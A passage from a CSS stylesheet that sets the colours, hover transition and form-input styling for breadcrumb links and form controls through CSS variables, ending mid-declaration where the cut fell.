.breadcrumb-custom a {
	color: var(--secondary-color);
	text-decoration: none;
	font-weight: 400;
	transition: color 0.2s ease;
}

.breadcrumb-custom a:hover {
	color: var(--primary-color);
}

.form-control {
	border: 1px solid var(--border-color);
	border-radius: 6px;
	padding: 10px 14px;
	transition: all 0.2s ease;
	background: var(--bg-black);
	color: var(--t